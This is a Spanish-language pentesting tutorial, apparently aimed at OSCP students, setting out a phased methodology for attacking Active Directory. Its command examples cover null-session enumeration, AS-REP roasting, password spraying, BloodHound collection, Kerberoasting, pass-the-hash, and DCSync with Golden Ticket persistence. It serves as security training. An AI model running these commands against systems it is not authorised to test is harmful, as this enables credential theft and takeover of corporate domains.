Active Directory: Introducción y Metodología

Active Directory (AD) es el sistema de Microsoft para gestionar usuarios, equipos y permisos en redes corporativas Windows. Prácticamente todas las empresas lo usan, por lo que dominar su ataque es imprescindible para el pentesting profesional y para el OSCP moderno (que ya incluye AD en el examen).

Atacar AD no va de un solo exploit: va de encadenar información (usuarios → credenciales → permisos → movimiento lateral) hasta llegar a Domain Admin o comprometer el Domain Controller (DC).

Conceptos clave

Metodología de ataque a AD

1. Enumeración sin credenciales

   Acceso anónimo: SMB, LDAP y lista de usuarios.
2. Primeras credenciales

   Password spraying, AS-REP Roasting o servicios.
3. Enumeración autenticada

   BloodHound: mapear todo el dominio.
4. Escalada y movimiento lateral

   Kerberoasting, abuso de ACLs, pivoting.
5. Dominio comprometido

   DCSync y volcado de NTDS.dit.

Como en cualquier máquina: cada credencial nueva reinicia la enumeración con más acceso.

Fase 1 — Enumeración sin credenciales

copiar# Usuarios y shares por SMB (null session)
netexec smb <DC_IP> -u '' -p '' --users --shares
enum4linux-ng -A <DC_IP>

# RID bruteforcing para sacar usuarios
netexec smb <DC_IP> -u '' -p '' --rid-brute

# LDAP anónimo
ldapsearch -x -H ldap://<DC_IP> -b "DC=dominio,DC=local"

Objetivo: obtener una lista de usuarios válidos del dominio.

Fase 2 — Primeras credenciales

AS-REP Roasting

Usuarios con “no requiere preautenticación Kerberos” permiten pedir un hash crackeable sin credenciales:

copiarimpacket-GetNPUsers dominio.local/ -usersfile usuarios.txt -dc-ip <DC_IP> -no-pass
# Crackea el hash $krb5asrep$ con hashcat (modo 18200)
hashcat -m 18200 hashes.txt rockyou.txt

Password Spraying

Probar una contraseña común contra todos los usuarios (evita bloqueos):

copiarnetexec smb <DC_IP> -u usuarios.txt -p 'Primavera2024!' --continue-on-success

Fase 3 — Enumeración autenticada (BloodHound)

Con cualquier credencial válida, recolecta el grafo del dominio:

copiar# Recolección remota con el ingestor de Python
bloodhound-python -u '<user>' -p '<pass>' -d dominio.local -ns <DC_IP> -c All
# o con netexec:
netexec ldap <DC_IP> -u <user> -p <pass> --bloodhound --collection All

Importa el resultado en BloodHound y usa las consultas preconstruidas: “Shortest path to Domain Admins”, cuentas kerberoastables, ACLs abusables, sesiones. BloodHound te dibuja el camino hacia el dominio.

Fase 4 — Escalada y movimiento lateral

Kerberoasting

Cuentas de servicio con SPN permiten pedir un ticket cuyo hash se crackea offline:

copiarimpacket-GetUserSPNs dominio.local/<user>:<pass> -dc-ip <DC_IP> -request
hashcat -m 13100 hashes.txt rockyou.txt

Pass-the-Hash / movimiento lateral

Si tienes el hash NTLM, no necesitas la contraseña:

copiarnetexec smb <IP> -u <user> -H <hash_NTLM>
impacket-psexec dominio/<user>@<IP> -hashes :<hash_NTLM>
evil-winrm -i <IP> -u <user> -H <hash_NTLM>

Abuso de ACLs y GPO

BloodHound te marcará permisos abusables (GenericAll, WriteDACL, etc.) para tomar control de otros objetos.

Fase 5 — Comprometer el dominio

Con privilegios de Domain Admin o permisos de replicación → DCSync (volcar todos los hashes del dominio):

copiarimpacket-secretsdump dominio/<admin>:<pass>@<DC_IP>
# o apuntando a un usuario concreto
impacket-secretsdump -just-dc-user krbtgt dominio/<admin>@<DC_IP>

Con el hash de krbtgt puedes forjar un Golden Ticket (persistencia total en el dominio).

Herramientas relacionadas